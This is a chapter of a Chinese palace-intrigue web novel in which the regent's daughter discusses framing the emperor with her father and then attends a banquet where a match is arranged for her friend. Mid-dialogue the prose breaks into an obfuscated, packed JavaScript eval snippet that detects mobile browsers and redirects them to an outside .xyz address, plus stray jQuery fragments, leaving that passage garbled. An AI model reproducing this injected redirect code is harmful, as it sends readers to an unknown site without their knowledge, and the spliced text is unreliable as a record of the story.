29. 青玉案(一)

作品:《吾曾年少有一友

    “父亲,先前我在东宫那碰到了太子,听他说了一些话,觉着这雁门关破很可能是皇上同北戎人做了什么交易嫁祸给二皇子;我知道的那时已快早朝了,来不及通知您,只好擅闯大殿了。”


    温遥珩听完了陈迹说的往事,也回到了摄政王府;温晏已早回到府中,于是她一回府便先同父亲解释了早晨的事。


    但事实上,她仍有些心不在焉;陈迹说的那往事,听得她是一阵心惊。


    陈迹说与尚窈相识在延和元年,而延和元年,便是当今圣上穆胤初登基的那年;那时穆胤便已与渤海郡王有私交,可这连她父亲温晏都不知道。


    而那先太子旧臣被遣返归家的事,他们便更是不知了。


    原来那么早,穆胤的私心与他同温晏的隔阂,便已见端倪。


    “没事,今日这事你干的漂亮。”面前,温晏并没有注意到女儿异样的神情。


    “不过既如你所说,那还真是给了我灵感……”


    “什么灵感?”温遥珩回过神来,问。


    “若雁门关这事真是穆胤干的,那二皇子那他安插了许多人手,那反倒给了我们方便了。”温遥珩笑道,“现在东窗事发,穆胤估计急着撤人呢。正巧为我们打开了通路。”


    “你一会去看看名册,寻些合适的看能不能填上。”


    温遥珩“嗯”了声,点头:“好,倒时候查线索也更方便些,别让皇帝就这么逃过去了。到时候我也去试探试探穆祉谦,看看他知道了亲生父亲想让他死,能不能反咬一口。”


    “嗯。”温晏认可,“不过,查线索的事倒是没那么着急。”


    温遥珩疑惑地“嗯?”了一声,随即便听温晏笑笑:“不也不需要么?线索。”


    “啊。”


    温遥珩明白了。


    ——没有证据就伪造证据,反正待他们起事也要用穆胤通敌的事造势,百姓也不晓得真假。


    至于朝堂百官,也无需那么多证据;相信的自然便能从雁门关破的事中找出蹊跷。


    “喵——”


    “对了,这狸奴是你带回来的么?还挺漂亮的呢,叫什么名字?”


    温晏神情自然地询问;温遥珩循声低头,雪球、或说大名“白玉团子”的猫咪从容优雅地从二人间走过。


    倒是一点也不怕生。


    温遥珩见着温晏神色温柔,俯身摸了摸小猫的脑袋。


    “它叫雪球。”温遥珩垂眸,说道。


    她之所以会将猫咪带回来养,就是知道父亲对于猫科动物一类都有很高的喜爱度、所以不会反对;但此时她见着这猫咪,心情却有些复杂。


    不知为何,她莫名想起了彻夜不寐的“太子殿下”。


    “父亲,我去看册子挑人了。”


    温遥珩心下叹气,面上则敛下所有神色,说道。


    …………


    延和十四年夏,雁门关破后第二十一日,皇帝穆胤下旨命渤海郡王坐镇率兵出征,收复雁门关等地七城。


    圣旨一出,闹得各地百姓人心惶惶;但于权力最中央的京城官署、尤其是内阁里,气氛却并没有那么紧张。


    因为皇帝、两位皇子乃至摄政王大人,对于这次“雁门关破”,都是秉持着一种奇妙的态度;而这北戎大军在连破七城后也并未继续北上,而是仅派些许兵力分别驻扎在攻下的七城,大部分军队回守雁门关关口。


    人人见此皆知山雨欲来,而各人心中,却都又各怀着心思;由此衬得这关破大事,都显得不那么重要了。


    是日,无风无云,天气晴朗。


    午后的阳光烘得紫禁城内宫道都散发出热气;辚辚车马声伴随着欢笑声迢递而来,御花园内渐渐变得热闹,年轻的少男少女们隔着假山曲水,肆意欢谈起来。


    “琢——遥珩!这边!”


    温遥珩一下马车,便望见不远处尚窈朝她招手。


    她向尚窈那边走去,尚窈的身旁还聚集着几位陌生的少女,皆是穿着华贵应是官宦人家的女儿;见她过来,既然纷纷向她行礼。


    “我领遥珩四处逛逛。”尚窈对几人说道;随后牵起温遥珩的手。


    几位少女皆是点头,为温、尚二人留出空间。


    已至深夏,御花园内草木都变得更加茂盛;而春日盛放的百花也仍在宫女太监们的悉心打理下仍旧鲜妍。


    温遥珩跟着尚窈走到了御花园中央的长桌处,从佩囊里拿出一张银庄的单子,放到了桌上的檀木盒子里。


    “摄政王府温大小姐捐献一千两——”


    那在桌后候着的小太监望见单子上的数额便高声喊起来。


    这声一出,温遥珩便感觉到四周的目光都有意无意地朝她们这边望过来;但她并不是很在意。


    是的,今日的宴席便是皇后娘娘举办的、令各家小姐为出征军队“尽一份绵薄之力”的游园会。


    “琢远,你这也捐的太多了。那些首饰银子最后不都还是进了陛下的口袋?意思意思行了,哪里用得着捐那么多。”


    尚窈也感觉到了周围看向她们的目光,微微皱眉,同温遥珩吐槽道。


    人人皆知这捐出来的一点银两比起军饷来说根本算不了什么、捐的银两或是首饰珍宝又都要经皇后登记造册送到皇上面前;因此,温遥珩捐了一千两银子竟已是此次参宴的世家子弟中捐的最多的了。


    “毕竟代表着摄政王府。”温遥珩也小声对尚窈道。


    “得了吧,你父亲就一摄政王;国库什么的都碰不到,还是在刑部当值又捞不着什么油水……”


    尚窈叹气,神色无奈。


    “你们摄政王府一年的收入,说不准还比不上个知府呢吧?”


    温遥珩耸肩:“那也没办法……不过,那些下面的人送上来的东西照单收了卖了,也还值点。”


    “人家收了都是想套套近乎的吧?我看,你们也不帮他们办事啊。”


    尚窈调侃道。


    “去年抄了家的几位不都给你们送过东西么;我看,送了反而更是‘证据确凿’,死得更快了?”


    “那没办法。”温遥珩眨了眨眼,笑道。


    锦绣繁花之中,二人对视,会心一笑。


    场内嘈杂,温遥珩是个喜静的性子,尚窈便牵着她往外走;为了这次宴席御花园的几条小路沿途都摆满了花,二人便边赏花边聊聊家常,走向无人处。


    “——将要开席了,里面想玩曲水流觞的游戏;二位此时还不去主院,可是想同鄙人一同去出题么?”


    温遥珩与尚窈寻了个阴凉处呆着,而刚走到那树荫下,便听见含着笑的声音从她们来时小道上传来。


    “容公子?”


    温遥珩先行回头,惊讶地认出了来人。


    “县主、温小姐,好久不见。”


    容阳衍笑着点了点头,向她们行礼。


    “你是叫……容府那位?”尚窈没温遥珩反应快,半个身子都已靠到了树干上;此时听见来了人,身子蓦地一僵。


    这姿势于“县主”而言,属实是有些不端庄。


    “是。”


    但容阳衍并没有介意,而是十分绅士地避开了眼神。


    “在下容阳衍,表字‘展晴’。”他耐心道。


    “我知道的,上次马车里你说过。”尚窈理了理裙摆,佯装咳嗽了一声,说。


    容阳衍笑了:“所以,你们二位也同我一同去出题么?去那边竹林偏院里,皇后娘娘已命人准备好了纸笔。”


    “那行啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773195|172105||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”/“你怎么进来的?”


    温遥珩与尚窈齐齐出声;听见对方声音,皆是一愣。


    最后还是温遥珩先说话:“方才看见容家嫡支有人来了,所以,你是跟着太子进来的么?太子让你出曲水流觞的题目的么?”


    “是啊。”容阳衍弯了弯唇角,“温小姐料事如神。”


    “所以,二位同我一起去么?”


    这次,他的目光则彻底投向了尚窈。


    ——于是温遥珩见此,不禁神色微顿。


    “那就去吧?反正我们现在回去也赶不上曲水流觞的游戏了?”


    尚窈见温遥珩没说话,此时语中也带上了些许询问。


    温遥珩看向她,随后目光又转向容阳衍:


    “要不,你们两个去吧。”


    “我回去找皇后娘娘,或者是在外面等着你们?”


    “啊?”尚窈一愣,正要说些什么;却忽地住了嘴。


    因为她看见,容阳衍向温遥珩投向了感激的目光。


    于是她也瞬间明白了容阳衍的目的,一瞬间沉默了。


    温遥珩看向她:“你还要去么?”


    ——容阳衍今岁二十又二,比尚窈大一岁,正好是合适的年龄。


    尚窈是渤海县主身份显赫,而容阳衍身份虽是平平却也算半个名门之后,如今投入太子门下;无论从哪方面讲,二人都算是十分相配。


    最重要的是,容阳衍并非官身;是可以入赘渤海王府的。


    “大燕寻常女子十六七岁便要出嫁,我今年年方二一却仍在王府;相信容公子也明白……”


    “县主,容某明白。”


    容阳衍笑笑,冲尚窈行礼。


    尚窈一时也愣了,温遥珩则是心下叹气。


    她看了尚窈一眼,后者的脸色也很快从疑惑变为了淡然。


    看来尚窈也想明白了。


    尚窈身为渤海县主,入京便是长袖善舞的模样,与许多官宦人家的女儿们包括她都有私交;而因她与穆祉渊的婚事定在了后年春天,想必尚窈与她父亲也是要在京住到那时的。


    容阳衍今日行径,若是背后没有穆祉渊指示,温遥珩可是万万不信的。


    ——据她与穆祉渊成婚还有一年多,哪怕渤海郡王与陛下私交甚笃,上个双保险总没错。


    先帝身亡时,渤海郡王毫无抗拒便接受了穆胤这个“野路子”出来的新君;温遥珩温晏也都明白他的性格,在尚窈出现前从未将“拉拢渤海郡王”一事放在日程上。


    毕竟于渤海郡王这样没有野心的人来说,谁上位都不会碍着他做个闲散王爷;谁胜谁负于他而言,并不重要。


    温遥珩默默垂眸。


    换做往常,她或许还无法第一时间反应过来容阳衍的意思;但此时,阴差阳错,她却已很了解容阳衍背后的那位“太子”。


    穆祉渊不是个铁石心肠的人。


    换作穆胤,若是渤海郡王倒戈了赐死便是;但穆祉渊却不会如此。


    所以,就总需要些制衡的东西。


    那,难道有什么比渤海郡王“唯一的女儿”更有分量的么?


    更何况,容阳衍若能入赘,于尚窈来说确实是桩极好的婚事。


    而且于她与整个摄政王府而言……也同样,是桩极好的婚事。


    穆祉渊可不知道她与尚窈的关系。


    “遥珩,要么,你进去出曲水流觞的题吧。”


    温遥珩思忖的片刻,尚窈的神色已恢复如常;显然她也已想清了所有关窍。


    于是温遥珩便见她收起了私下里玩闹的神情,露出了身为皇室应有的笑容,说:“我看那边湖边景色甚美,不知容公子会不会下棋?要么,我同容公子去亭中手谈一局吧。”